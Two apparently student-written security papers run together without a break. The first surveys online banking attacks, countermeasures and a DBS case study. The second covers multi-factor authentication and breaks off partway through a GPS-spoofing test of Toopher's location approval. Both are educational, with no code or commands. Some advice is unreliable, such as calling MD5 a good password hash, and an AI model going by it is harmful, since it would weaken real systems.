the city of Troy undetected, is an attack that involves a seemingly 
harmless program that actually contains malicious viruses inside. 
Trojan horses tries to evade the detection by antivirus software 
and intercepts the user’s data on the computer. There are a variety 
of actions that Trojans can perform on the computer but in the 
context of online banking, Trojans are mostly used for man-in-
the-browser attacks.  

These Trojans would intercept user inputs such as keystrokes, 
browser data and stored files to check for information that will 
enable them to attack bank accounts successfully. To combat 
against the two-factor authentication schemes, there have also 
been appearances of Trojans in the form of mobile applications in 
order to intercept information that is sent by the banks to phones. 
There are many banking Trojans lurking around on the Internet 
such as Carberp, Citadel, SpyEye and Zeus. Out of all of these 
banking Trojans, Zeus is the most notorious for its abilities.  

3.1.1 Zeus Banking Trojan/Man-in-the Browser 
The Zeus Trojan attaches itself to the user’s web browser and 
monitors the user’s Internet usage. This is known as the classic 
man-in-the-browser attack. The malware is able to record the 
sensitive information such as the user’s banking IDs, passwords, 
and bank account numbers. This information is then sent to the 
database of the malicious party wherein the data can be used for 
his benefit such as draining the money from the bank account or 
selling the information to other criminal organizations.  
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As Zeus is a malware that runs inside the user’s browser, it can 
modify what the user sees on his computer screen. A common 
technique is to modify the login page to ask users to enter 
additional information such as credit card numbers. Even with the 
extra secure key that is used by two-factor authentication 
schemes, the malicious party can still use the passcode to make 
illicit transactions as he can intercept anything that is keyed into 
the browser. Also, even after the theft is done, Zeus can be used to 
modify the screen to show that the money is still in the account. 
The criminal is also able to have remote access to the user’s 
computer without their knowledge, and this access is used to 
allow the bank to verify that the transactions are coming from the 
user’s computer.  

 
Figure 4. Man-in-the-Browser attack using a Trojan malware. 
Due to Zeus’ abilities, it has seen much success since its release in 
2007. Over the course of the past few years, various criminals 
have used this banking Trojan to steal hundreds of millions of 
dollars in total. Although anti-virus software has been advertised 
to be able to detect and protect computers against Trojans, the 
Zeus malware is able to avoid being detected. Therefore, it is 
ultimately up to the user to click on links at their own discretion to 
avoid coming into contact with a Trojan horse.  

3.1.2 Distributed Denial of Service (DDoS)  
Another way for malicious parties to attack online banks using 
Trojan horses is to launch a distributed denial-of-service (DDoS) 
attack. The attacker would send a Trojan horse to unsuspecting 
users who would then run this seemingly innocent program on 
their computers. By running this program, the Trojan is activated 
and the machine is considered infected. The attacker now has 
remote command-and-control of the computer without the 
owner’s knowledge. Whenever the attacker desires to, he would 
send a message to all the infected machines and command them to 
send packets to a designated target. The target is then flooded with 
network traffic and would be busy trying to answer to the 
attacker’s requests that it would not be able to respond to the 
requests of legitimate users. This causes the system to have long 
delays or deemed unusable.  

In the context of online banks, DDoS attacks have been used to 
divert security attention away from the attackers who were 
defrauding the online bank systems. Popular DDoS toolkits such 
as Dirt Jumper were used for this type of attacks against online 
banking systems. While using a toolkit to launch a DDoS attack, 
the attacker takes over the master payment switch via a user 
account or stolen employee credentials and moves money away 
from as many accounts as they can. As the bank personnel were 
distracted by the DDoS attacks, they were unable to identify the 
fraudulent transactions that have happened until much later when 
the monetary transfer has already occurred.    

 

3.2 Phishing 

Another common remote attack against online banking systems is 
known as phishing. Phishing occurs when an attacker sends 
emails to a large number of email accounts containing a message 
asking the recipient to visit a spoofed web site and enter his 
personal banking information. Attackers have also refined their 
methods to include a combination of email phishing, voice 
phishing and SMS phishing to gather more information from bank 
customers.  

Another method of sophisticated phishing is known as ‘in-session 
phishing’ whereby a pop-up message appears during an online 
banking session and prompts the user to enter details such as the 
username and password due to an expired banking session or a 
customer satisfaction survey. This attack is done by a phisher who 
injects websites with malicious JavaScript so that users are 
targeted when they visit the infected websites while 
simultaneously accessing the online banking websites.   

 
Figure 5. Example of an email used in a phishing attack. 

3.3 Pharming 
While phishing involves phishers sending users emails to trick 
them into entering scam websites, pharming is a form of attack 
that automatically redirects the user to the scam websites without 
the user’s knowledge. Malicious parties can do pharming with a 
variety of methods. The attacker can redirect a user to another 
website that has a domain name that is similar to the original 
website via malicious software such as viruses and Trojan horses. 
Likewise, the attacker may also hijack the online bank’s 
legitimate website and redirect all the requests by legitimate users 
to an illegitimate website. Domain hijacking can occur due to 
domain expiration whereby attackers can acquire the domain 
name legitimately if the owner of the domain fails to manage the 
leasing process of the domain name. Also, malicious parties can 
submit domain transfer requests and attempt to switch the domain 
from one registrar to another. Upon doing so, the attacker would 
then become the account holder at the new registrar and be able to 
alter routing instructions to point the users to an illegitimate server 
whereupon personal banking details will be recorded.  

The more sophisticated type of pharming is called domain name 
server (DNS) poisoning. DNS servers are in charge of translating 
user-friendly URLs such as www.abcbank.com into an Internet 
protocol (IP) address, which then provides routing directions for 
the user’s information to reach the website. In DNS poisoning, 
attackers ensure that the local DNS servers send users to a website 
different from the one that was requested. To accomplish this 
form of pharming, attackers must gain access to a local DNS 
server such as the server of an Internet service provider and 
replace the IP number for the bank’s URL with the IP number of 
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his own scam website. Therefore, any user who use this 
‘poisoned’ DNS server would be routed to the scam website 
instead of the legitimate one.  

Another way to change DNS settings is by intercepting the users’ 
home routers. As users these days own a variety of devices such 
as mobile phones, laptops and desktops, all of these devices are 
usually connected to a single home router. There are many known 
vulnerabilities with home routers, such as being able to allow 
attackers to change the router’s DNS configuration.  By taking 
advantage of these vulnerabilities, the attackers can redirect the 
router to use a DNS server that is under their control and respond 
with rogue IP addresses to the users’ DNS queries. Users are then 
directed to scam websites where they would login to their online 
bank accounts thinking that it was the legitimate website, but 
instead they are tricked into giving up their online banking details.  

4. COUNTER-MEASURES 
In the previous section, we talked about the common attacks that 
online banks faced such as phishing, pharming, DDoS and Man-
in-the-Browser. There are methods to protect online bank 
consumers against such attacks and in this section would discuss 
the counter-measures available. From this section, we would also 
see that protecting oneself against malicious parties is a 
responsibility borne by both the online bank and the user, and not 
just solely by one or the other.   

4.1 Counter-measures against DDoS 
Many banks are turning towards Internet service providers (ISP) 
for DDoS mitigation. Some ISPs provide services that are able to 
detect and remove malicious traffic before it gets to the clients’ 
servers. They do this by monitoring a client’s daily traffic and 
determine the normal amount of volume that goes through the 
servers. If there is a sudden spike, the network traffic is rerouted 
so that it would bypass the bank’s server and go to a mitigation 
center instead. The mitigation center screens the network traffic 
before sending it back to the bank’s servers. Apart from ISPs, 
there also exist specialty DDoS mitigation providers. These 
providers have data centers called ‘scrubbing centers’ that are 
dedicated to DDoS mitigation. Content distribution networks 
(CDN) providers, on the other hand, hosts all of the bank’s web 
traffic on their own network of servers. They have DDoS 
mitigation built into the service, therefore the bank does not have 
to do anything with regards to DDoS mitigation.  
Other counter-measures include purchasing excess network 
bandwidth to handle the extra traffic that comes with a DDoS 
attack. However, it is an expensive option that is not entirely 
effective. Online banks can also share intelligence to pinpoint the 
area where malicious traffic is coming from and reroute the traffic 
away from the bank’s servers. However, attackers are good at 
deterring attention away from their locations and banks cannot 
reroute traffic away if there are genuine customers living in the 
same region that the malicious traffic is coming from.  

Specialized in-house DDoS mitigation equipment is also available 
for purchase by the banks. These appliances monitor the network 
for signs of DDoS attacks and attempt to block them. This ensures 
that the bank is in control of the DDoS efforts and hence, able to 
respond more quickly. Many banks also employ the use of 
intrusion prevention and detection systems to identify threats such 
as someone using a stolen IP address. However, these systems are 
not designed to deal with the excess traffic that comes with DDoS 
attacks.  

DDoS attacks are constantly evolving, and therefore current 
counter-measures available are not enough to handle the new 

forms of attacks. This is the reason why there are still instances of 
successful DDoS attacks against online banks despite the counter-
measures that are available.  

4.2 Counter-measures against Phishing 
Phishing is a type of attack where malicious targets users through 
unsolicited emails. Therefore, the best form of counter-measure is 
for users to be vigilant. Online banking users should be wary of 
all forms of emails sent by the bank and be discrete about clicking 
on links attached to the emails as it might lead to a fraudulent 
website. Also, passwords and personal information should never 
be communicated through emails. Users should check that their 
browser indicates ‘https://’ in the domain field to ensure they are 
connected via SSL. Apart from common sense and good 
judgment, users should also periodically check their online bank 
account’s transaction history to make sure that there are no 
irregularities in the online transaction.  

4.3 Counter-measures against Pharming 
Online bank users can use certificate authentication to ensure that 
the website they are currently visiting is not an illegitimate 
website. Most Web browsers automatically checks the digital 
certificate of the website and would alert the user if it detects 
anything wrong. Therefore, users should be aware and take 
caution of these alerts. Users should also check for the padlock 
sign and ‘https://’ on the browser to make sure that they have a 
secured SSL connection with the website they are visiting. Web 
browsers should also be kept up to date with the latest security 
patches to deter browser attacks.  

Counter measures that banks can deploy include proper domain 
name management to prevent attackers from hijacking the bank’s 
domain name. Online banks should therefore ensure that the 
domain names are renewed in a timely manner. Online banks can 
also choose to acquire domain names that are similar to the one 
they currently own such as ‘abcbank.com’ and ‘abcbank.net’, 
even though it may be a costly method.  Online banks should also 
stay alert with regards to their browser activities, for example if 
their domain was hijacked through DNS poisoning, the legitimate 
website would stop receiving any Internet-related requests. 
Therefore, that is a sign that something is wrong and the online 
bank should investigate the problem. Lastly, online banks should 
also educate their consumers about safe practices such as 
installing current versions of virus detection software in order to 
combat new threats. 

4.4 Counter-measures against Man-in-the-
Browser attacks  
There are many counter-measures against Man-in-the-Browser 
attacks. In this section, we would explore the different counter-
measures available for users and banks and discuss the 
effectiveness of each of them.  

4.4.1 End-user’s perspective 
Users have very few options to protect themselves from man-in-
the browser attacks as attackers can simply use malware to wait 
until the user enters the online bank system before launching the 
attack. Therefore, passwords regardless of whether they are strong 
or weak and OTP tokens provided by out of band services such as 
mobile phones are all considered ineffective against man-in-the-
browser attacks. Software such as anti-virus or anti-malware 
applications do not guarantee total protection as malware is 
rapidly changing and it is difficult for the software to adapt to the 
changes as quickly.  
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An effective but extremely inconvenient method would be to set 
aside a computer that would be solely used for online banking, 
with the use of other websites and applications disabled from the 
computer. This is because malware is less likely to be on the 
computer if it is not used for other things. However, this is an 
extremely inconvenient method that is not an applicable method 
for most online bank customers. Despite the lack of effective 
methods to protect themselves, users should nevertheless stay 
vigilant when accessing online banks by checking all transaction 
details thoroughly, and keeping track of one’s account balance 
frequently.  

4.4.2 Online bank’s perspective 
As the methods for users to protect themselves against man-in-
the-browser attacks are often ineffective, the responsibility of 
protecting customers from such attacks often fall on the banks. 
There are a variety of methods that online banks can employ to 
ensure that their customers do not fall prey to man-in-the-browser 
attacks, some more effective than others. Enforcing strong 
passwords are not an effective strategy as malicious software can 
easily intercept the password or wait until the user authenticates 
his identity before the attacker begins to modify requests. 
Launching IP location tracking to identify the attacker is also not 
effective as in the case of man-in-the-browser attack, the false 
requests come from the genuine user’s own browser so the 
attacker is still indistinguishable based on the IP location alone.  
A more effective counter measure against man-in-the-browser 
attacks is to provide customers with hardened browsers. Hardened 
browsers are browsers that will guide users directly to the online 
bank’s URL when launched. This allows the bank to know that an 
authorized user is performing a secure transaction while the user 
is insured that he is using the correct browser. These hardened 
browsers are typically on USBs that contain cryptographic smart 
tokens for authentication therefore, it is crucial that malicious 
parties do not intercept the USBs. Another method is for banks to 
provide a One Time Password (OTP) device on which the user 
must input the transaction details in order to generate a signature 
based on the details. If the details do not match the signature, then 
it would detect a man-in-the-browser attack. However, this is a 
method that inconveniences the users, as they would have to input 
the transaction details twice, once on the computer and once on 
the token.  

Another well-known method would be to use Out of Band (OOB) 
confirmation of transaction details before proceeding with the 
transaction. OOB refers to utilizing two separate networks such as 
a mobile phone and a computer simultaneously to confirm the 
identity of a user. For example, transaction details such as 
“Transfer of $123 from account A to account B” and an OTP 
would be send to the user’s mobile phone to ensure that he is 
aware of the transaction before proceeding with the transaction 
using the OTP.  

4.5 Fraud Detection 
There are also fraud detection systems available that would help 
online banks to protect their customers. Such systems deploy 
behavioral-based analysis by profiling consumers to determine 
their ‘normal behavior’ when using the online banking system. If 
the user demonstrates anomalous or unexpected activity, the 
suspicions are reported before it could escalate into fraud or other 
crimes.  
 

5. DBS CASE STUDY 
DBS is one of the largest banks in Southeast Asia and is 
headquartered in Singapore. DBS began operations in 1968 and 
launched DBS Internet Banking in 1997. It remains as the most 
popular online banking service in Singapore today. To keep up 
with the changes in the online banking industry and to ensure that 
the DBS Internet Banking system remains as secure as possible, 
DBS has constantly introduced new improvements over the years.  

The first of many substantial changes happened in 2004 when 
DBS Bank launched a new online banking platform, as the 
previous system that they were using was considered outdated and 
obsolete. With the new platform, DBS aimed to increase the 
amount of DBS Internet Bank users by 45%. To ensure the 
success of this new platform, DBS partnered up with IBM and 
Siebel. Both IBM and Siebel were referred to as ‘key IT strategic 
partners’ as they were more familiar with the technological 
aspects of the online banking system.  

In 2006, DBS launched another improvement for their online 
banking system. It was a two-factor authentication disconnected 
token that was used to counter phishing attacks. Called the ‘DBS 
iB Secure Device’, this device was pre-programmed with the 
account details, an internal clock that is synchronized with the 
server and a cryptographic algorithm to generate the random 6-
digit codes. The one-time password was only valid for sixty 
seconds. The same code was generated on the server when the 
button is pressed and if the two numbers matched, the user is 
successfully authenticated.  

                           
Figure 6. The first DBS Internet Banking token. 
DBS Internet Banking has experienced its fair share of attacks by 
malicious parties. Notably in 2009, a new Trojan virus hacked 
into the DBS website and redirected users to a fraudulent website. 
This was a man-in-the-browser attack aimed at deceiving users to 
key in their User ID, password as well as the 6-Digit code 
retrieved from the token. With the 6-Digit code, the attacker could 
use it to authorize transactions within a limited time period before 
the code expired. The preventive measure that DBS took was to 
require users to key in their 6-digit code twice before approving 
the transaction instead of just once.  

                
Figure 7. Man-in-the-Browser attack against DBS.  
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A year later in 2010, DBS once again suffered another system 
failure. This failure resulted in a seven-hour disruption to the 
online banking system as well as all the ATMs (Automated Teller 
Machine) across Singapore. Consumers were unable to access the 
online bank or withdraw money from the ATMs. In a follow-up 
report, DBS released that it was due to a human error by an IBM 
employee who directed operations staff to use an outdated 
procedure to perform maintenance on a disk-storage system.  

The problem began when an IBM software-monitoring tool sent 
an alert message to IBM’s Asia-Pacific support center outside 
Singapore to signal instability in a communications link in the 
storage system connected to DBS’ mainframe computer. An IBM 
engineer was dispatched and he promptly replaced a cable using 
an incorrect method. The error message ceased but reappeared 
after seven hours. The engineer repeated the incorrect method he 
had applied earlier and once again, the error messaged ceased 
only to reappear an hour later. The engineer continued employing 
the incorrect methods to solve the problem and his actions 
resulting in errors that threatened data integrity. This caused the 
storage system to shut down in order to protect the data, and thus 
disrupting DBS banking services. The back-up systems failed as 
well, which caused consumers to be unable to access their 
accounts.  

Although IBM took full responsibility of this failure, DBS was 
also under scrutiny by the Monetary Authority of Singapore 
(MAS) whom ordered DBS to redesign its online platforms to 
have greater resiliency and recovery. The pitfalls and 
shortcomings of the DBS Internet Banking system were exposed 
through this incident whereby a human error caused an outage of 
the entire system for half a day.  

DBS continued making improvements to its online banking 
system and the next change came in late 2011 when DBS 
launched a new Internet banking token for its user.  
 

 
Figure 8. Example of transaction signing by the latest DBS 
Internet Banking token. 
This new token was launched in order to combat the evolving 
security threats. The previous token was susceptible to attacks as 
hackers were able to steal OTPs generated by one-button tokens 
through viruses like SpyEye Trojan. This new token makes use of 
transaction signing, a procedure that requires users to digitally 
sign transactions in order to ensure the authenticity of the 
transaction. This procedure requires users to enter transaction 
specific details like the account number or transaction amount, 
after which an OTP is generated. The user then uses the OTP to 
continue with the transaction. However, DBS only requires 
transaction signing for high-risk transactions such as updating 
personal particulars or high-value monetary transactions. Low-

risk transactions continue to only require an OTP that is delivered 
to the mobile phone in order to proceed. Therefore, DBS online 
bank security is based on a hierarchy. This was partly done to 
ensure convenience and ease of use for customers. 
  

 
Figure 9. The hierarchy in DBS online banking security.  

DBS has made various improvements to their online banking 
system over the years, but there are still various attempts to attack 
it. In 2013, DBS online bank customers were targeted in a 
phishing scam with the subject header “DBS Internet Banking 
Security Update”. A year later in 2014, another phishing site 
emerged targeting the sister bank of DBS, POSB in an attempt to 
steal customers’ identities, PINs and OTPs. It was reported that 
none of the customers were scammed and the fraudulent website 
was taken down promptly.  

In conclusion, DBS has made various improvements to its online 
banking system in order to stay ahead of the security threats 
although the system is not entirely foolproof and there were still 
instances of failure. Attacks against the online bank continue to 
exist despite the security measures, showing the persistence of 
malicious parties. As attacks and threats continue to evolve with 
the changing technology, the bank also has to continue to try and 
stay one step ahead of the attackers by updating its security 
system continuously.  

6. CONCLUSION 
This paper has given a comprehensive overview of the history of 
online banking, the common methods of security deployed by 
online banks, the various forms of attacks and the counter-
measures that are available for both the online bank and the 
customers to protect themselves from malicious parties. A case 
study of DBS Internet Bank was included to study the security 
measures that the bank uses, the attacks that the bank has 
encountered over the years and how it improved the online 
banking system to protect itself. From the case study, we can see 
that an online bank’s security system is a system that requires 
constant improvement with remarkable changes occurring once 
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every couple of years. This is because the methods of attacks 
against online banks continue to evolve. Instead of robbing a 
brick-and-mortar bank, it appears to be more advantageous for 
attackers to rob an online bank instead. Therefore, online banking 
security measures would also continue to change and improve to 
combat the ever-evolving forms of attacks.   
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ABSTRACT 

In this paper, we describe the definition of Multi-Factor 

Authentication (MFA). We will analyse on various existing 

authentication techniques representing the knowledge factor, 

possession factor, inherence factor and location factor of MFA. 

We will also mention about the new and upcoming authentication 

technologies. In addition, a demonstration will also be conducted 

to show how Location Based Authentication (LBA) can be 

compromised. Lastly, the paper will conclude with regards to the 

implementations of MFA in general. 

1. INTRODUCTION 
Multi-Factor Authentication (MFA) is an approach that uses at 

least two of the authentication factors to authenticate the user. The 

three commonly used authentication factors are knowledge factor 

- something that the user knows, possession factor - something 

that the user possesses, and inherence factor - something that the 

user inherits.  A new authentication factor, Location Based 

Authentication (LBA), has gained popularity in the recent years. 

With LBA, individual’s identity and authenticity will be verified 

based on their location. A combination with at least one of the 

other authentication factor mentioned has form a new breed of 

MFA. 

MFA is often used to reduce the occurrence of online identity 

theft and other online frauds. It has shown to be effective as 

attackers can no longer depend on the possession of one factor to 

gain access to unauthorized information. Although security level 

increases as more factors are used to authenticate the user, the 

increase in effectiveness may not be proportional to the increase 

in the cost of implementation. Thus, it is common to see Two-

Factor Authentication used for authentication processes.  

2. BACKGROUND KNOWLEDGE 

2.1  Knowledge Factor 
Knowledge factor requires a secret information that the user is 

aware of for authentication. This factor can be seen in the usage of 

password or pin during system account login. Another more 

recent implementation of this factor is seen in the usage of pattern 

identification to unlock the smart phone.   

2.2  Possession Factor 
Possession factor requires the possession of a particular item for 

authentication. This is an old technique that has been used for 

centuries. It’s earliest implementation is seen in the usage of a key 

to unlock the lock. More recent implementation include the usage 

of cards for withdrawal of cash in the Automated Teller Machine 

(ATM).   

2.3  Inherence Factor 
Inherence factor requires identity proof of who the user is by 

using biometrics, which is a data related to human characteristics 

and traits. This includes validating by fingerprints, voiceprint, iris 

or any other unique physical feature of the user. 

2.4  Location Factor 
Location factor requires the user to be present at a specific 

location for authentication. One implementation of LBA is the 

detection of the people at the entrance and to grant them access to 

a restricted area if they have been authenticated. 

3. EXISTING MFA IMPLEMENTATIONS    

(CASE STUDY) 

3.1  Biometric Fingerprint Lock 

 
Figure 1: A sample of Biometric Fingerprint Lock  

Another common way to unlock a locked door today is through 

fingerprint verification. For a new user, he has to first save his 

fingerprint into the database of the Biometric Fingerprint Lock. 

Firstly, he will have his fingerprint physical characteristics 

scanned by the Biometric Fingerprint Lock. Next, the fingerprint 

input will be passed through an algorithm which will convert it 

into a numerical data. Lastly, the data is stored into the database 

inside the lock. After the user has registered his fingerprint into 

the lock, he could unlock it by scanning his fingerprint[2]. In 

addition to fingerprint scan, most Biometric Fingerprint Lock also 

contains the card authentication function or password input 

function, which allows user to unlock by scanning the card or 

entering the password.  
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3.2 National Australia Bank  
Before 2009,  National Australia Bank (NAB) depends only on 

the account password and One Time Password (OTP) to 

authenticate his customers. The customer would need to provide 

his password during account login to access his bank account. If 

he initiates a bank transaction, an OTP will be sent to him through 

Short Message Service (SMS). The customer would then need to 

enter the OTP received to confirm the bank transaction. 

In 2009, NAB announced that they are aiming to increase the 

security level of their banking process through their 

implementation of Three Factor Authentication, where the third 

factor requires the customer to authenticate himself through 

Biometric Voiceprint. For customers who have chosen to be 

authenticated by Biometric Voiceprint, they will first register their 

voice pattern with NAB’s contact centre. NAB will then call back 

to verify the customer’s identity and voice data. After this 

preparation work is done, the customer can authenticate himself  

through his voice in addition to the other two authentication 

methods[3]. 

4. AUTHENTICATION TECHNIQUES 

ANALYSIS 

4.1  Password (Knowledge Factor) 
Password often does not provide high level of security. This is 

mainly because humans are not good at remembering long and 

complicated password. In addition, humans like to create 

passwords that are related to their family names, interests or 

favourite numbers. Such self chosen passwords are vulnerable to 

attacks such as the dictionary attack. Another type of password 

that is better than the self chosen one is mnemonic password. 

Such passwords are more difficult to be hacked as they contain 

lesser personal information regarding to the user. Attackers would 

then find it more difficult to guess the content of the password. 

The third type of password is random password. Although random 

passwords are also stronger than self chosen passwords, they are 

seldom chosen by humans as they are difficult to remember.  

In addition, humans can also fall victim to phishing attacks and 

pretext calls which result in their passwords being revealed to the 

attacker. 

The implementation for password authentication is simple. A 

good hashing function such as MD5 to hash the password and a 

database to store all the hashed password are needed. Thus, the 

cost of implementation for password authentication is affordable.  

4.2  Smart Card (Possession Factor) 
Smart card offers both security and convenience. It usually has an 

embedded chip inside. The embedded computer chip typically 

stores and transacts data. This data is usually associated with 

either value, information, or both. Although the data in the smart 

card is not protected, there is limited access to the data inside. The 

fuse present inside the smart card is blown by supplying large 

amount of current at the end of the production of the card so as to 

prevent external reading and writing. In addition, the smart card is 

usually designed in a way such that tempering it would more often 

cause damage. It has also been proven to be more reliable than 

other machine-readable cards such as magnetic stripe and 

barcode. In addition, they are small in size and fit into human 

wallets, this makes it convenient for the users to carry it around.  

However, these cards can be lost, stolen, or easily damaged. 

Furthermore, researchers have discovered an inexpensive attack to 

extract secret information from the card by using camera flashgun 

and a microscope[4]. Attackers also can expose the chip inside the 

smart card with chemical such as Nitric Acid or laser. The data in 

the memory of the chip can then be inferred with electron 

microscope or read using the serial port after reconnecting the 

blown fuse with tiny probes. Although the original smart card 

have been damaged, the data retrieved can then be used to 

configure a new smart card to authenticate the attacker. 

4.3  Biometric Verification (Inherence Factor) 
Biometric Verification does provide quite a high level of security. 

For example, it has been proven that every person has a unique 

fingerprint[5]. Thus, it is highly impossible to use one person’s 

fingerprint to authenticate another person. In addition, forging 

biometrics requires the usage of high end equipment and 

complicated techniques. This makes attacks on Biometric 

Verification expensive and difficult. Furthermore, the user does 

not need to possess any authentication item or device for 

Biometric Verification, this makes it more convenient for the user, 

as well as, reduces the decrease in security level due to stolen or 

lost device. 

However, the implementation of Biometric authentication into the 

system is proven to be costly. High end sophisticated equipment 

and software have to be purchased. Furthermore, integrating 

biometrics into already existing authentication systems may be 

even more costly, due to custom designs to fit the current existing 

architecture. 

Another disadvantage of Biometric Verification is the result 

produced is never definite. The Biometric data scanned each time 

would be different, thus the Biometric Verification device could 

only authenticate the user based on the similarity of the scanned 

Biometric data to the Biometric data stored inside. This leads to 

three possible situations - the real user is authenticated, the real 

user is not authenticated and the fake user is authenticated. The 

real user may end up not being authenticated due to reasons such 

as a bad scan or injury to the body part being used for 

authentication. On the other hand, a fake user could be luckily 

authenticated as the device finds the two Biometric data to be very 

similar[6]. 

4.4  Location Based Authentication (Location 

Factor) 
Location-Based Authentication (LBA) utilizes the location of a 

target to provide authentication to a designated system. LBA is 

quickly gaining popularity recently. The Global Position System 

(GPS) is usually used to obtain the target’s location. It boasts 

convenience to the user as compared to the other existing 

authentication factors. The designated authentication system 

would automatically detect if the target’s authentication device is 

within the range of a safe authenticated zone. If it is, access will 

be granted without the end user having to perform any further 

action. The authentication could be a dedicated proprietary 

device, or could even be as simple as a GPS enabled mobile 

phone. However, LBA is not as secure as it seems to be. A simple 

experiment in Section 6 was carried on such authentication to see 

to see if it is reliable. 
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5. UPCOMING AUTHENTICATION 

TECHNOLOGIES 

5.1  Palm Veins Recognition 

 
Figure 2: A picture of the scanned palm veins 

Palm vein recognition, also known as vascular technology, is a 

technique of biometric identification. This technique uses 

matching palm patterns and vein points to identify individuals. A 

key requirement of this technology is that blood must be flowing 

through the veins in order to authenticate, which make faking of 

identities even harder. It uses near-infrared light technology to 

capture user’s palm vein pattern and the near-infrared light is 

absorbed by the deoxidized haemoglobins in the vein. Thus, the 

reflection rate at the veins is very low and would appear black in 

the scanned result[8].  

Palm veins could be used for authentication as they have been 

proven to be unique among different individuals. The veins in the 

body are unique as they are influenced by the environment in the 

womb which is different in every woman. In addition, research 

has also shown that the vein pattern is finalized at birth and will 

not change after birth. Although palm veins recognition is not 

widely recognised to be considered reliable in the forensic point 

of view as compared to other technology such as fingerprinting, it 

is still used to support existing forensic data for conclusion. 

Fujitsu is currently working on the insertion of palm scanner into 

their smart phones that uses this technique for authentication[9].  

5.2  E-Tattoo 

 

Figure 3: The implementation of E-Tattoo 

E-Tattoo is the implantation of an user authentication token in the 

form of tattoo on one’s skin. This technology is currently 

researched and patented by Motorola. The researchers have found 

out that the brain will still send neural spike volleys signals to the 

vocal apparatus when a person speaks in his inner voice[11]. The 

auditory signal received by the E-tattoo that is pasted on the throat 

area will then convert it into a digital signal, which could then be 

used to communicate with the various devices such as the smart 

phone[12]. As such, E-Tattoo can become a potential technique 

for authentication as the auditory signal, which came from a 

particular person’s brain could not be mimicked by another 

person as it takes numerous muscles that control the speech 

organs to generate the signal. Therefore, each person’s auditory 

signal is unique even though the vocal can be the same. 

5.3 Pill Password 

 

Figure 4: A picture of pills with chips attached 

Pill Password is a special type of pill which contains a small chip 

with a switch. When a person swallows a Pill Password, the acids 

in his or her stomach will act like electrolyte and start a reaction 

that produces an 18-bit Electrocardiography (ECG) signal in the 

body. This signal allows the entire body of the person to become 

an authentication token[14]. Thus, the person can immediately 

authenticate himself by just touching the device such as the smart 

phone. As the effect of the pill only lasts for one day, the pill has 

to be taken every day. Although the Pill Password has been 

approved by the Food and Drug Administration (FDA) for 

consumption, Motorola is not going to release it into the market at 

the moment.  

5.4 Dragon Mobile Assistant Android 

Application 
Dragon Mobile Assistant is an Android application developed by 

Nuance Communications. It included Voiceprint Biometric 

technology that can detect and recognise the user’s voice. With 

this application, the user will be able to awaken their locked or 

asleep device by giving a voice command. As the application only 

recognise and respond to the user’s command, the user’s voice 

thus become an authentication token[15].  

5.5  LastPass 
LastPass is an online website that manages stored password. It 

uses leading encryption technology, local-only decryption and 

added multi-factor for authentication. It co-operates with various 

authenticators such as Google Authenticator, Grid Multifactor 

Authentication, Microsoft Authentication, Toopher 

Authentication, Duo Security Authentication, Transakt 

Authentication, Seasame Multifactor Authentication, Fingerprint 
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Authentication, Smart Card Authentication and Yubikey 

Multifactor Authentication[16]. 

New user will need to download the LastPass application and 

create an account with them. The user will then need to remember 

the one and only password for their LastPass account. The other 

passwords used to authenticate the other accounts could then be 

stored inside the LastPass account[17]. As the user does not need 

to remember the passwords for the other account, they could 

choose passwords that are long and complicated. This would 

strongly increase the level of difficulty to hack their account. The 

passwords for other accounts stored in the LastPass account are 

encrypted locally. This means that the passwords do not leave the 

computer over the internet[18], which reduces the possibility of 

attacks such as Man-In-The-Middle attack and Snooping attack. 

Furthermore, the encryption algorithm that LastPass used is the 

same as the algorithm used by United State Government for their 

top-secret data, thus the passwords stored in LastPass are very 

secured.  

5.6 Fingerprint Payment For Paypal 
With technology advancement, Samsung and Paypal has 

collaborated together and created a payment system which allows 

transactions for user to pay through with a swipe of a finger. This 

is applied to the upcoming Samsung Galaxy S5 model. This new 

feature would undoubtedly increase the convenience level of the 

user as he or she does not need to key in username and password 

to log in to the PayPal account. Since everyone’s fingerprint is 

unique, it adds on to the security layer to prevent theft since 

fingerprint is much more difficult to steal as compared to 

password. The only user information that the Galaxy S5 has is a 

unique encrypted key that let PayPal verify the customer’s 

identity[19]. 

6. EXPERIMENT ON LOCATION BASED 

AUTHENTICATION 
Toopher is a service that allows Toopher-enabled sites to 

incorporate Location Based Authentication on top of their normal 

password and/or OTP authentication system. The target site of 

login will send a request to the Tooper App which resides on the 

user’s mobile device. The user may choose to approve or 

disapprove the access to the site in the App.  

When Location Based Authentication is activated, Toopher 

remembers the current location of the device (such as the user’s 

home). Whenever a request for login for the same website and the 

mobile device is within range of the remembered location, 

Toopher automatically approves the request to login. 

An experiment was conducted to see just how reliable Toopher’s 

Location Based Authentication is. 

 

Figure 5: Screenshot of Toopher Location Authentication 

Demo Homepage 

https://demo.toopher.com/ provides a demo interface where users 

are able to try out the authentication service provided by Toopher. 

In the last sentence of the second paragraph in Figure 5, Toopher 

claims that automatic approval of the log in, based on location is 

considered as a second factor from the password. 

An account was first registered to get started.  

 

Figure 6: Screenshot of the Pairing Request in the Toopher 

application in the smart phone. 

After an account has been created, the Toopher Location 

Authentication Demo website will prompt the user to select a 

device to be paired to the demo account. The device chosen to be 

paired to the demo account is an ordinary smart phone with the 

Toopher App installed. Soon after, a Pairing Request will be 

prompted in the Toopher App of the paired device. Choose 

"Allow" to let the Pairing Request proceed. This is seen in Figure 

6. 
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Figure 7: Screenshot of the OTP authentication process  

A pairing phrase can be obtained from the Toopher App in the 

phone. The pairing phrase was then entered into the Demo 

webpage. This is seen in Figure 7. 

 

Figure 8: Screenshot of the Log In page in the Toopher 

Location Authentication Demo Website 

After pairing was completed, the login was initiated with the 

registered email and password. This is seen in Figure 8. 

 

Figure 9: Screenshot of the Authentication Request in the 

Toopher application in the smart phone 

An Authentication Request to the paired device will be received. 

Activate the “Automate when near” option to save the GPS 

location of the device. This is seen in Figure 9. Subsequent logins 

will automatically be approved if the device is detected to be close 

to this current area where the device is at.  

The current location of the device is in the NUS Computing 

Faculty. Toopher now remembers this location. 

 

 

Figure 10: Screenshot of Authentication Success in the 

Toopher Location Authentication Demo Website  

Access was granted after the user clicked on allow button in the 

Toopher App. This can be seen in Figure 10. 
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Figure 11: Screenshot of subsequent Authentication Success 

The normal Login procedure was repeated several times again. 

This was to test if the auto approval of the login, base on the 

location of the mobile device, was indeed working.  

The location of the mobile device was maintained within the NUS 

Computing Faculty. Access was granted without the need to click 

on the allow button in the Toopher App. This is seen in Figure 11. 

The GPS location on the mobile device was then spoofed to be in 

another country. Spoofing the GPS location of the mobile device 

